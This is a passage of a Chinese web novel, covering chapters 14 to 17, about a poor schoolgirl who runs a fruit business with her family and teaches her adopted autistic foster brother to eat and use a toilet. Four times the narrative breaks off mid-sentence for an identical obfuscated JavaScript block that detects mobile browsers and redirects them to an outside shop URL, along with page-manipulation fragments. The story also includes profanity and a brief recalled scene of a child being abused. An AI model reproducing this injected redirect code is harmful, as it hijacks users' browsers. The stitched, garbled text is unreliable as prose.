他捏着软软热热的馒头,双眼泛着水雾,然后一脸真诚的对李晓言说了两个字:“傻……逼……” 李晓言的脸刷的白了。 许铮咬了一口馒头,再次开启他那无与伦比的复读机功能。 “傻……逼……傻……李……晓……言……傻……逼……” 他的复读机功能不仅再次启动,还更新成了一个更高级的版本。 李晓言的脸由白变成了灰色。 “傻……李……晓……言……李……傻……逼……” 李晓言沉默了好一会儿,然后一声不吭回到房间,重重瘫倒在床上,双眼鼓得大大的,望着黑黢黢的天花板。 许铮扭动着小身子跑了进来,半边身子探进了床上,缩到李晓言的胳肢窝下,用脸颊蹭了蹭李晓言的肋骨部位。 李晓言被这么一蹭,方才的滔天巨浪瞬间就萎了,她捂着眼一言不发,让许铮肆无忌惮的蹭着,许铮吃了馒头有了精神,开始手脚并用往上爬,李晓言赶紧翻身坐起来,飞快脱掉了许铮的脏鞋和外衣,他看着缩进窝里的小崽子,心道这他妈都是些什么事,自己到底图什么。 “好好呆着,我给你弄碗热水,刚吞下一个馒头,你也不怕噎死。” 她骂了两声,就起床去给小铮倒开水,顺便简单洗漱了一下,然后瑟瑟发抖的钻进了被窝。喂小崽子喝了半碗水后,两人便相安无事的睡着了。这一晚,许铮又做了一个温暖的美梦,他梦在自己在一个长满鲜花的道路上走着,头顶上是蓝天白云,他姐在前面走,却突然回过头牵着他的手,然后召唤了一朵白云,他姐把他抱上了白云,两人在天上慢慢悠悠的飘着,一切都是那么柔软又纯净。 他在梦里太舒服了,他在睡前又喝了半碗水,然后,身体发生了连锁反应,他再次悄无声息地尿床了。 第二天早上一起来,敢向命运下战书的李晓言同学几乎是崩溃的,这两滩水印好像是命运送给她的见面礼,滑稽又讽刺,让李晓言同学一时间毫无招架之力。 她凌晨五点起了床,只是瞄了一眼,便轻车熟路的迅速把床单卷起来,而后一声不吭去水池边洗床单。 “不行,我必须要找个帮手。” 她看着哗啦啦的流水时忽然想起了刘家豪,在教小铮这件事上,似乎只有刘家豪能帮她出出主意,她真的觉得自己有些没辙了。 但刘家豪一家子都回老家过年了,听说今年是回的山东,她要找刘家豪帮忙只能等到寒假结束。 但即便这样,她也没想过要给许铮换成开裆裤,一个五六岁的小孩还每天穿着开裆裤当街遛鸟,这在李晓言的脑海里,是完全无法容忍的丢人现眼的事。而且穿着开裆裤容易感染细菌,她虽然觉得许铮经过这么多年的锤炼,抵抗细菌的能力比别人强些,但她心中总有一种作为姐姐的责任感在作怪,觉得自己应该尽可能的照顾好弟弟,而不是让他像个低贱的垃圾一样被正常世界排斥在外,区别对待。 李晓言洗个床单也洗出了一分苦涩,但她很快就把这冒出来的一分苦涩和着唾沫给吞了,然后迅速调好热水,给小铮擦洗屁股,再给他换上干净的裤子,最后再把洗好的床单和裤子挂到歪脖子树上,又跑回家做早饭。 这些事一回生二回熟,她第二次做的时候已经利落了许多,她没有责骂许铮一句,甚至还夸了许铮两句,因为早上吃饭的时候,许铮已经开始转动勺子喝粥了,虽然只有三勺是自己舀的,其余都是李晓言带着他喝的。 这一点点的进步让李晓言心花怒放了一整天。 过年的生意比想象中还要好,买散货和箱货的都比预计的要多得多,箱货很快就走完了,但水果批发市场没有更多的货源,所以李晓言又想到了一个主意。 她挨家挨户去收空的包装箱。一开始给五毛钱,后来慢慢涨到七毛钱,最后涨成一块钱。她借了一辆三轮车,每天带着小铮去挨家挨户收空箱,因为她价格给的不错,长得好看嘴又甜,有些人家户还没吃完就把箱子腾空卖给她,这一来二去她就收了六七十个。 一回家,她就在家里把散货装进空箱里,装好后又迅速运到三岔路口去,然后又带着许铮去收空箱。 李晓言像个陀螺一样从早转到晚,几乎没有休息过,许铮也只能跟着他姐从早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445307|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转到晚,虽然他起不了什么作用,大多时候都在边上当摆设。 他懵懂的看着李晓言做的所有事,试图分析个所以然来,但他目前的逻辑水平只限于“吃馒头喝粥”以及“傻逼李晓言”这两件事上,在其他方面还是完全没办法进行逻辑上的认知,所以也只能像花果山的猴一般,好奇又茫然的看着这个陌生且神奇的世界。 在李晓言领养他之前,这个世界宛若黑暗的深渊,没有光没有温度没有颜色。但最近这些日子,他渐渐发现这个世界从黑色变成了黑白色,甚至偶尔还有一点别的颜色,他的表情仍然有些呆滞,但眼神却渐渐有了光芒。 这一切,李晓言自然是发现不了的,她满脑满心全是那几毛钱几块钱的事,为了装箱能快些,她都是直接跪在地上飞速装箱,一个寒假还没过完,她那条已经被洗的发白的牛仔裤的膝盖处,俨然出现了一个破洞,是跪在地上装箱给磨出来的。 她妈照例骂了她一顿,但又心疼的紧,所以等寒假快过完的时候,她就领着李晓言和许铮去了趟大市场,给这姐弟俩一人买了一套新衣裳,还给李晓言多买了一条牛仔裤。李晓言让她也给自己买一套,但她妈说自己衣服还没破,买多了浪费,李晓言知道她妈的脾气,多说没用,便把感动和苦涩一并埋进了肚子里,不再多言。 李晓言妈给许铮买了一套大红色的福娃装,穿上去从头到脚红彤彤的,看上去特喜庆,把李晓言给生生看笑了。她捏了捏许铮的脸,又捏了捏许铮的腿,觉得这孩子要是生的胖一点,估计能直接当个小佛像受人供拜了,他亲妈什么也没能给他,却给了他一副好底子,对他亲妈来说或许也算点安慰。 许铮看见李晓言展颜大笑,觉得心里的向阳花刹那间开了个漫山遍野光华灿灿,李晓言换上了一件黑色的棉大衣,原本就棱角分明的五官在黑色的映衬下显得更加立体,许铮虽然不知道美丑的字面概念,但已经在心里形成了一个坚固不可摧的认知——他姐是这个世界上最好看的人。 哪怕真实世界的李晓言是个穷的可以不要命,每天穿的破破烂烂,常常被同学老师和那些碎嘴子亲戚拿来踩压的社会渣滓。许铮也觉得,这世上没有人能比得上他姐,哪怕这个世上的所有人烟消云散,只要他姐还存在,那这个世界就存在。 一整个寒假的起早贪黑终于有了收获,年一过完,李晓言妈算了一下,大概卖出去一百五十箱,统共赚了一千九,再加上之前半年赚的,一共有了四千多的结余。 这四千多对于李晓言的大多数同学来说,都是随便就能拿出来的小钱,但对李晓言来说,却是他们全家辛辛苦苦起早贪黑半年多,每天守在风里雨里才换回来的一点活命的积蓄,每一分钱都裹着十足的泪汗。 别的不说,就是她妈在大街上守了半年多,原先还算细嫩的脸变得干枯粗糙了许多,就让李晓言觉得扎心。 穷人的路,从来都是难的,拼尽全力才能在罅隙中找到一丝天光,李晓言从来没有像现在这样把穷人要走的路看得这么清楚过。 15. 第 15 章 算完帐后,全家聚在一起开了个家庭讨论会,李晓言还是固执的认为必须要租一间铺面,才有可能卖出更多品种的货,才有可能在刮风下雨的时候有个遮挡,才有可能让别人知道这里有个长期稳定的水果店。李晓言的思路很清楚,理由也很充足,但这一切理由都没办法立刻打消她爸妈的疑虑,因为房租太贵了,一旦没有生意,这些钱会在一夜间打水漂。 她父母答应着先找找看,李晓言也得回学校报道,她去报道的当天就在校门口堵住了刘家豪,把他拉到操场上,向他寻求帮助。 刘家豪看她变得瘦削了一些,知道这个寒假她应该没少吃苦,心里还是相当佩服的。他从包里拉出几本杂志,交到李晓言手里:“拿着,我奶奶带我去了趟北京,我特地去书店里找的,都是和自闭症有关的,北京还有专门的医院和学校,不过……” 不过要花时间要花钱,这两个,都是李晓言家的稀缺品。 他万万没想到李晓言家会收养许铮,他原本打算把这些杂志交给福利院,看看能不能发挥点作用,虽然办法明明白白写在上面,但刘家豪明白,重要的不是办法,而是实行这些办法的人,如果没有足够的耐心和爱心,估计那个人很快就会崩溃。 耐心和爱心,他从来不认为李晓言身上有这两种美好的人类品质,但那小崽子好像只对李晓言有反应,所以他也只好抱着死马当活马医的态度来看待这件事。 李晓言咧着嘴笑了一下:“谢了,没想到你还挺关心他。” 刘家豪还是那张镇定自若无波无澜的面孔,一本正经说道:“我比你先认识他,这孩子可怜,而且自闭症是个新奇的疾病,我也很好奇这到底是种什么病。” 李晓言止不住她的冷嘲热讽,回道:“所以好奇心才是你的第一驱动力对不对,刘家豪,我觉得你以后可以去当医生或者某个科学研究员,没有比你更适合的了,你就是天生该干那些事的。” 刘家豪丝毫不为所动,冷着声道:“现在能帮你的估计只有我了,你说话还是要客气点,不然我对你的忍耐可能会超过对自闭症的好奇,到那个时候,你恐怕就只能自己来了。” 李晓言被他这么有理有据的回怼着,绝不低头的晓言姐立马就认怂了,赶紧求饶。刘家豪已经摸清了李晓言的脾气,如果外界刺激她,她会立马穿上厚厚的盔甲来跟外界宣战,哪怕是无声无息的宣战,这人自尊心特别强,外冷内热,但不是对谁都热,一旦上心了就会生出要为那个人对抗全世界的责任感。所以她不会不管许铮,也一定会找自己帮忙。 两人去操场的看台上坐着,翻开那堆杂志,刘家豪拿出其中一本,对李晓言说:“如果像你说的,小铮是从福利院一路跑回来的,那他的记忆能力一定超出常人,这里有几个病例就是记忆超常的,你看看。” 李晓言翻着那几个病例,刘家豪继续解释:“并不是所有自闭症儿童都有某种天赋,但确实占了一定比例,我觉得人类的思维能量有限,平时我们需要处理太多讯息,所以思维能量被分作很多份,但自闭症儿童会把思维能力集中在较小的范围内,所以能量比一般人要大。” 李晓言一字一句读着,渐渐有了点眉目:“所以他们的思维是片段性的,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445308|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逻辑性的。” 刘家豪点头:“对,这个才是重点,我们需要教小铮的,就是事物与事物之间的逻辑关系,这并不容易,可能每件事都需要重复成千上万遍。” 李晓言沉默了,她知道成千上万遍意味着什么。 刘家豪:“不过你不用灰心丧气,自闭症也有很多种,有一些程度轻微的,如果干涉时间早,能恢复到和正常人相差不多的程度,我昨天回来时看小铮的眼神都变了,我觉得他没准儿还有救。” “……变了吗?”李晓言有些困惑,眯着眼试图回想许铮的眼神,却没觉出什么变化。 刘家豪怒其不争的叹叹气,拍了拍李晓言的肩膀:“哎,你是不是眼神不好,要不要去配个眼睛,我介绍我配眼镜的那家店给你。” 李晓言很想对他说句“滚蛋”,那是她和高凡经常说的话,但话到嘴边赶紧刹住了车,她信任刘家豪,觉得这小子靠谱,但两人好像没熟到可以随便说“滚蛋”的程度。 李晓言:“我晚上回去瞅瞅,一天到晚忙成狗,谁有闲工夫去看他眼神变没变。” 刘家豪无奈的笑了笑,他为许铮的前途哀婉,摊上这么个神经大条又没有耐心的姐姐,他实在想象不到李晓言会成千上万遍教许铮做一件事。 “走吧,他一个人在家该慌了。” 刘家豪和李晓言收拾好杂志,一同走回家,两人都没发现,有一帮闲的蛋疼的八卦男女正在体育馆边的小巷子躲着,静静观察着二人的一切互动。其中一个便是刘宁,她远远看见她哥和李晓言凑得很近同看一本杂志,一颗心开始揪起来了。 16. 第 16 章 报完道一回家,李晓言就发现她爸妈喜气洋洋的坐在饭桌边上,许铮原本在床上蜷缩着,他一听到李晓言的声音就从床上蹦下来,像支离弦的箭矢一般射进了李晓言的怀抱里。 许铮整个寒假都和李晓言在一起,今天是自他被李晓言家收养后两人第一次分开,许铮有种说不出的失落和恐惧,好像没了魂魄。 他不肯吃饭,不肯跟着李晓言妈去三岔路口,只是在床上蜷缩着,浑身颤抖。 李晓言爸妈无可奈何,幸而寒假挣了一笔钱,他们不急于这一天两天的生计,所以李晓言妈就在家待了一天,李晓言爸也在附近四处逛逛找铺面。 李晓言看许铮光着脚,便把他抱起来,走回床边帮他把鞋穿上,再带他回饭桌边坐好。 许铮就像块狗皮膏药一般贴着李晓言不撒手,他太害怕了,也完全不知道如何克制自己的情感,所以当李晓言再一次出现在他面前时,他只想死死拽着不松手,他姐去哪儿,他就去哪儿,不让他离开自己的视线。 李晓言妈盛了两碗饭,把菜又热了一遍,端到饭桌上。 “他一天没吃过饭了,你喂他吧。” 李晓言把筷子放到许铮手里,轻轻箍了一下,摸了摸许铮的小脸蛋,然后自顾自的吃起来。她希望许铮可以学会用筷子,而不是离开她就活不下去,她的情感和这个小崽子黏在了一处,但在理智上她也知道,她必须狠得下心。 许铮看着李晓言的侧脸,他已经知道吃饭和筷子的关系了,但是要学会使用筷子夹饭夹菜,这对他来说还是隔着一座珠穆朗玛峰。 李晓言连看也不看他一眼,许铮默默转过头,看着碗里的米饭,尝试着用筷子去挑起那些小饭团。 李晓言爸妈目光灼灼的看着小铮,神经紧张的看着他挑起那个小饭团,然后把脸凑上去闻了闻,谁知道许铮小手一抖,那个小饭团又落进了碗里。小铮呆呆的看着那个小饭团,好像不太明白这个小型的自由落地运动是什么含义。 李晓言爸妈“哎”了一声,不再看他。 李晓言爸想起了正事,便对李晓言说道:“周围的几间铺面都问过了,今年的房租比你去问时还要贵些,恐怕便宜的都要三千七,再加上水电,估计全年要有四千多,而且在铺子里需要的货比外面多,万一没有生意,我们好不容易赚的钱就全都砸进去了。所以我跟你妈商量的一下,还是不租铺面,先买两辆三轮货车,在三轮货车上摆货更保险一些。” 李晓言放下了碗筷:“可是城管越来越严了,而且这附近卖水果的越来越多,到时候一长串全是三轮车上摆货卖的,我们根本竞争不过别人。” 李晓言这话也有些道理,一条路走通了就会有无数人蜂拥而至,原先三岔路口只有两家卖水果的,但到了年后,一下变成了五家,甚至连晚上守在歌舞厅外不收摊的也有三家,李晓言家瞬间没了优势。 要么停滞不前被淹没,要么孤注一掷做升级,在资源有限的状况下,这两条路都不好走。 李晓言爸妈经过的苦难要比李晓言多得多,所以趋向于保守的做法,他们觉得买两辆三轮车,上面可以摆上十种水果,两辆车并排着一起卖,总要比那些背着背篓的好些。就算生意不好,三轮车转手也能卖出去,但铺面却不一定能转租出去,所以这是一条折中的好办法。 李晓言听完后也妥协了,在外面赚钱不比在学校考试,挂科了还能补考,一旦赔的倾家荡产,一家人可能连个住的地方没有。原先没有小铮的时候,她总觉得一家人好手好脚,有什么可怕的,往前冲就对了,但自从有了这个小崽子在身边,她也开始知道怕了,做事情之前开始有了自保的意识。 她怕她走投无路时,这个小崽子无人可依。 “好,那就按你们说的办,我一会儿带小铮去刘家豪家,他有办法教小铮。” 在三个人你来我往的谈话中,谁也没注意到小铮已经把一块小饭团送进了嘴巴里,他饿昏了头,动作来的迅猛利落,刚送进嘴里就急忙去挑下一块,但下一块却没这么顺利,依旧是颤颤巍巍试了七八下还没成功。 李晓言的耐心已经耗尽了,她把小铮抱到自己的大腿上,握着他的手教他如何吃饭,李晓言的手凉凉的,好似一块薄冰,许铮被激灵了一下,他抬头往后仰,想看一看李晓言,却只能看见少女瘦削的下巴,李晓言把小铮的脑袋按下去,调动着周身的耐心带着他把一碗饭都吃了个精光。 吃完饭后,李晓言带许铮去刘家豪家,刘家豪家算是这个棚户区里条件最好的,别的不说,他家除了自住的,还有两个小平房可以用来出租,这一点就比棚户区里百分之九十九的人都强了。 而且还有一点更让人羡慕——他家有厕所。 李晓言带许铮上门时,山东大娘正在剥核桃,这是她从山东老家带回来的,刘宁正在边上帮她拨弄着,像个温顺的小猫咪。 她开门看见是李晓言,一下愣在门边,都忘了让客人进来。山东大娘一把推开她,携着许铮的小手,就把两人连扯带拉招呼了进去。 “愣着干啥,快倒水啊。”山东大娘对刘宁吼道。 李晓言有点不好意思,她摸了摸小铮的头,赶紧说道:“不用麻烦,我们是来找刘家豪的,之前跟他说好了的。” 山东大娘把两个核桃仁塞进许铮手里:“小豪在楼上,你们去吧。” 李晓言赶紧握着两杯水往楼上去,许铮颠颠儿的跟在她身后,手里还紧紧攥着那两个核桃仁。 山东大娘看着她的背影,止不住感叹:“真是好孩子啊。” 棚户区里藏不住秘密,李晓言收养许铮的事没过多久已经传遍了整个棚户区,有怀疑他们家别有用心的,也有说这一家子心善的,各有各的说法,山东大娘毫不怀疑的站了后边那一队,觉得李晓言这孩子仁义,她喜欢。 当然,她更喜欢这姑娘长得俊,刘家豪和李晓言走得近,山东大娘没读过书,十五岁就嫁人了,所以她不太管法定结婚年龄那一套,觉得自己的孙子要是喜欢,那再过几年,把这俩孩子撮合到一块儿也不错。 李晓言走到二楼,在四个房门外站住了,四个房门中有三个贴了挂画,只有一个没有贴,李晓言顺着直觉走到那个光秃秃没有挂画的房门外。由于手上握着两杯水,她只能用脚踢门,房门很快就打开了,刘家豪顶着鸡窝头从里面探出脑袋,看见是她和小铮,便让两人进去。 一进门李晓言就傻眼了。 刘家豪的房间只有一个字可以形容——乱。 乱到让李晓言这个不算细致的女生都自叹弗如。 各种书籍乱七八糟散落四处,还有一大堆衣服,一堆杂物,李晓言实在理解不了这个人是如何在这样的环境里活下去的。 “随便坐,别客气。”刘家豪随便说道,但李晓言看了看四周,实在找不到可以随便坐的地方。 这个时候还没有地板砖,没有木地板,地上都是水泥面,还真没法盘着腿坐在地上,整个房间只有一个凳子,是刘家豪写作业用的。 少年终于明白了李晓言的局促,他在一堆杂物里翻了一下,最后翻出一块大方巾,他把大方巾迅速铺好,放在地上,指着它说:“就凑合着坐吧。” 李晓言:“……” 她把水杯放在地上,然后把许铮拉过去一并坐了,刘家豪顺手拿过一本书,就放在地上当垫子跟着坐了。 他拿出一个小盒子,里面是阿拉伯数字的模型,还有一些小棍子。他把1放在地上,然后对许铮说道:“许铮,这是1,你记住了吗?” 许铮看着地上那个模型,不说话,还是一如既往的呆愣样。 刘家豪也不管他回不回答,即刻拿出数字2放在地上:“这是2。” 刘家豪一直摆到10,等许铮看了几分钟后,他刻意将所有数字打乱,然后将顺序打乱重新摆放,看着许铮的反应。 他的推断没有错,许铮果然发现了那些数字的顺序不对,他慢慢凑上前去,伸出两只小爪子,挪动着那些数字模型,只花了十几秒的时间,他就把数字模型从一到十全排好了,一个不差。 李晓言眼神刷地亮了,刘家豪终于露出了一抹笑意:“李晓言,你弟弟是个小天才,看来还有的救。” 李晓言听了这话,唇角一扯,端出一副二五八万的得瑟样:“什么叫还有的救,人还活得好好的没断气呢,你该说这孩子会有出息。” 刘家豪白了她一眼,继续摆着模型,这一次他从1摆到50,依着上次的方法将顺序打乱,然后让小铮重新排序,小铮这一次错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445309|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个,把他姐得瑟显摆的臭毛病直接打回了娘肚子里,李晓言的眼角从斜飞向上渐渐变成了斜飞向下。 小铮愣了几秒钟,发觉不对劲,又把顺序调整了一下,结果错的更多了。 刘家豪面无波澜,他再次把模型从1排到50,这一次让小铮多看了两分钟,又再次让他排序,小铮这一次没有出错,以极快的速度排好了顺序。 刘家豪又从1排到100,小铮一次性就把位置全排对了。 李晓言都看傻眼了。 刘家豪把模型收好:“他的记忆力超常,以前没人发现这一点,可惜了,不然能更早的进行干预,说不定能上幼儿园。” 这话说到了李晓言的心口上,她问刘家豪:“这孩子能上小学么,学校收吗?” 刘家豪点头回答:“自闭症儿童是可以上正常的学校的,而且他们很需要正常的学校环境来加以引导,但是如果是目前这种状况,估计他进了学校也听不懂,最好让他明白一些事后再送他去读书。” 刘家豪扶了扶眼睛:“还有更重要的,如果他不会说话,一旦进了学校被正常孩子欺负,他也不会为自己做辩护,甚至还会被那些孩子倒打一耙,那个时候他反而会更加畏惧外界群体。” 李晓言摸了摸小铮的脑袋:“连吃饭撒尿都学不会,记忆力好有什么用,他到目前为止只会说一句话。” 刘家豪:“什么话?” 李晓言:“……” 这让她如何开口呢? 李晓言:“谁知道呢,咿唔呀唔的,听不明白。” 刘家豪:“是不是你的口头语?” 李晓言摸了摸鼻子:“算是吧。” 刘家豪双眼发亮:“太好了,看来他的确对你的话有反应,你如果想要教他某句话,就一直重复这句话,然后指着某件东西,让他明白这个东西和这个发音有联系。” 刘家豪说完便指着李晓言的脸,看着小铮说道:“李晓言。” 许铮听到这两个字,瞬间来了精神,他即刻张口回应:“哈!李……晓言!” 李晓言松了一口气,看来在外人面前,这个孩子还是搂的住的,没有让她下不来台。 “再说一遍,李晓言。” “……”电光火石之间,许铮的脑袋接通了,他得意洋洋地说道,“李晓言……傻逼。” 李晓言:“……” 刘家豪:“……” 噗嗤一声,刘家豪爆发出排山倒海般的笑声,笑得前仰后倒,他很少笑,总是像个小大人一样端着。所以这一笑就有点山洪暴发的趋势,无论李晓言喊多少次都收不住,最后李晓言直接上手捂住了他的嘴,声音里都透着烈火岩浆般的灼热。 “刘家豪!别笑。\" “刘家豪!再笑我要动手了。” “刘家豪!” …… 许铮猛地一颤,耳朵一竖,他姐在短短一分钟内重复了“刘家豪”这两个字足有五次,他敏锐的捕捉到了这个讯息,然后装进了他脑子里面的存储器里。 “刘……家……” 许铮艰难的重复了一声,李晓言和刘家豪顿时停了下来,两人目瞪口呆的看着许铮,许铮不负所望的再次开启复读机功能。 “刘……家……刘……家……李晓言……刘……傻逼……” 刘家豪的脸霎时白了,他轻轻扯住李晓言衣领,双眼鼓得老大:“警告你,以后别当他的面再说脏话了,听到没有,二百五。” 许铮见两人隔得近,一把扑上去扯开刘家豪的双手,让他和自己的姐姐分开,然后像个小武士一样护在他姐面前,双目似冰。 他不知道那个动作是威胁,他以为刘家豪要伸手搂他姐的脖子,这是他绝对不能容忍的,他像个地盘意识超强的小狼狗一样,容不得任何人侵占属于他的领地。 小孩子不像大人那么会装,他还是属于小孩子里面特别不会装的那一卦。 刘家豪被他的目光震惊了一下,很快就坐好了,李晓言抱着他坐回原处,她心里也有些打鼓,这孩子最近的动作是越来越快了。 她不知道小男孩的内心世界是怎样的,只是担心他的这些动作会不会造成对自己和对别人无意识的伤害,毕竟这孩子曾经自残过。 17. 第 17 章 在小学时她听过一个儿童故事,是说一对夫妻很贫困,但在圣诞节那一天为了能送给对方一份精美的礼物,都把自身最值钱的东西卖了……那会儿老师念完这个故事,班上那些小男孩小女孩都唏嘘感动的不行,李晓言却在心里默默念叨一句“两个傻逼,有毛病”,但到了今时今日,她才有点明白这种觉得对方很好,就该配上好东西的心情,虽然她只是给小铮买了个用来撒尿的新桶,格调上low逼的不行。 一回去她就灌了小铮两碗水,等到晚上七点多,李晓言察觉到小铮有了反应,她飞快把门锁了,然后把小铮领到黑桶边上,扒下他的裤子,然后强迫他对准了往桶里面撒尿。 李晓言板着脸做完这件事,然后冷冷对小铮说了一句:“看到没有,下次想尿尿了就这么办,别跟个野狗一样遍地撒尿。” 许铮懵懵懂懂的望着李晓言,他总觉得这场景有些熟悉,但具体也说不上哪里熟悉,他一直都是就地解决,在床上、在地上、在吃饭的凳子上……他一时间不太明白李晓言的用意,只能懵懵懂懂的望着她。 李晓言心里哀叹一声,便打开门出去洗手了,她把木桶放在离床最远的位置,虽然觉得挺恶心的,但一时半会儿也没别的法子,只能这么对付着。 李晓言和许铮躺在床上时,李晓言不敢睡,她一边看书一边留只眼睛关注着许铮,好在许铮精神的很,也没有要睡的意思,李晓言胡乱给了他一本图案最多的生物学,许铮就那么傻呆呆的看着,以十秒翻一页的速度玩耍着那本书。 快八点的时候,许铮有有了尿裤子的苗头,李晓言拿出了百米冲刺的速度,飞快的抱着许铮去到木桶边,再次扒拉下他的裤子,让他对准了小桶往里面尿,连鞋都顾不上穿了。 许铮的双手被李晓言带着,他突然间就回想起来了,他妈曾经也这样对付过他,不过不是对着这个小黑桶,而是在那个臭气熏天的公厕里面对着那个满是蛆虫的坑,他不会表达不代表他没有知觉,他恶心死了那个公厕,所以第二次刚走到门外就死也不肯往里走,他妈和他拉扯了半天就放弃了,然后就任由他像个小野狗一样随地乱来。 他还想起了他那个总是湿漉漉的床,他妈可没有耐心每天给他换洗床单,每次都让那床单湿上个十天半月,才会给他换成干的。 还有那个似曾相似的场景,他也渐渐回想起来了,是他妈的常客之一,曾经有一次不知道是喝醉了酒还是吃了药,往他脸上撒尿,她妈躲在门缝里看着,硬是等这个客人走了才敢出来,她一边哭一边给小铮擦洗着脸上的脏东西,最后哭着喊着打了小铮几耳光,又给了自己几耳光…… 一张张过往的画面在眼前流转,许铮愣住了,他往后退了两步,然后猛然转过身,没留意间,就对到了李晓言往她身上撒,李晓言赶紧用手挡着脸,幸好只是最后一秒钟的事,李晓言的身上粘上了一些,问题不大。 但晓言姐把手放下时,脖颈上的青筋都快爆出来了,她特别想给许铮一巴掌,但是手举到半空中又停住了,因为她被许铮冰冷深幽的眼光给吓住,她把手放下,撑在自己的膝盖上,笑着对自己说:“我他妈跟个孩子较什么劲。” 她把许铮的裤子拉上去,盖好了盖子,又拿拖把把地给拖干净了,才去换衣服洗澡。 李晓言换好衣服回来时,许铮闻到她身上熟悉的肥皂味道,才有点醒转过来,他好似不知道自己做了什么,又恬不知耻的往李晓言身上蹭,李晓言火烧的旺,按着他的头把他推开,许铮已经习惯李晓言的粗暴了,他再次凑上去蹭着李晓言的手臂,李晓言又一把将他推开,如此反复四五次,直到把李晓言蹭的没了脾气,她才转过身去背对着许铮睡了,许铮只好把小脸蛋贴到李晓言的背上,美美的进入了梦乡。 但到了晚上一点多,许铮又被李晓言一把抱了起来,李晓言快速冲向木桶,再次把着许铮的手教他尿尿,许铮睡得迷糊,一时想不起那些往日片段,倒是乖乖的把尿撒完了。 到了四点多,又是如此折腾一番。 李晓言彻夜没睡,足足盯了这个小家伙一整夜,才攒够了三次教学经验,第二天早上起来时,她整个人都是头重脚轻的,一走路,好像两条腿都在发颤,要直直栽下去一样。 李晓言妈见她脸色不好:“要不给老师请个假,今天就别去了,反正刚开学,也教不了什么。” 李晓言灰着脸把课本装进包里,摇摇头:“国旗下演讲,该我们班了,我班主任让我去。” 李晓言妈“哦”了一声:“那你可得好好讲,稿子都写好了吗?” 李晓言笑了一下,好想听到了一件很逗的事:“妈,这种演讲还写啥稿,反正没人听,现场编呗。” 李晓言妈不太了解学校的情况,还以为大家都这样,仍旧“哦”了一声:“今天我跟你爸去买三轮车,还有进货,我就先把小铮放到山东大娘那里,你要是回来的早,就去山东大娘那里找他。” 李晓言嗯了一声,便抓起书包出门了,这学期对她来说比较轻松,至少没有那些乱七八糟的竞赛,只需要专注课本就行。她不是一个全能型学霸,所以心里始终没底,也担心稍一懈怠就会掉下来,这和入学考试的飞来横福不一样,对于自己奋斗过才拥有的东西,她也不是那么舍得放弃的。 李晓言刚走到校门口,准备买豆浆油条,刘宁就窜到了她跟前,把一个煎饼和一杯豆浆递给她。 “李晓言,我给你买的,你别买了。” 李晓言有些奇怪,没接:“你为什么要跟我买?” 刘宁楞了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445310|141530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尴尬笑了笑:“这,这不邻居吗,我刚好买多了,吃不完。” 李晓言再傻也看得出这不可能是买多了,她没搭理刘宁,自己买了早饭,然后对刘宁说:“给你哥吧,要不晚上回家热一热也行。” 李晓言没等她开口,就大步走进了校门,李晓言腿长走得快,刘宁跟不上,只能委屈巴巴的把早饭塞包里,然后气鼓鼓的进教室。 她径直走到刘家豪面前,眼眶都快红了。 “哟,一大早的,你就吃到芥末啦。”刘家豪的同桌打趣道。 刘宁瞪着她哥,大声问道:“说吧,你和李晓言怎么回事,你俩是不是好上了?” 这一声响亮的问话就像生怕别人不知道似的,所有眼睛都齐刷刷看向兄妹俩这边。 刘家豪对他妹妹真的很无语,他站起身:“出去说。” 刘宁嚷道:“就在这里说,做的出就别怕认。” 刘家豪只好坐下,四周的人都围观了过来,准备看这场好戏。 刘家豪尽量心平气和的说道:“没有,你满意了?” 刘宁:“你少骗我,那她昨天还来家里找你,我听你们在里面笑得很大声,你们到底说什么了?” 周围的人一句句“我靠”“牛逼”“绝了”快把刘家豪淹没了,其实刘家豪不难看,甚至说的上小帅,但再帅也禁不住他那种乱糟糟的打扮,所以大家都没办法把他和李晓言扯到一起。 毕竟像李晓言这种要长相有长相,要脾气有脾气的小“女王”,在大家心中是注定要跟校霸级别的人走到一起的。 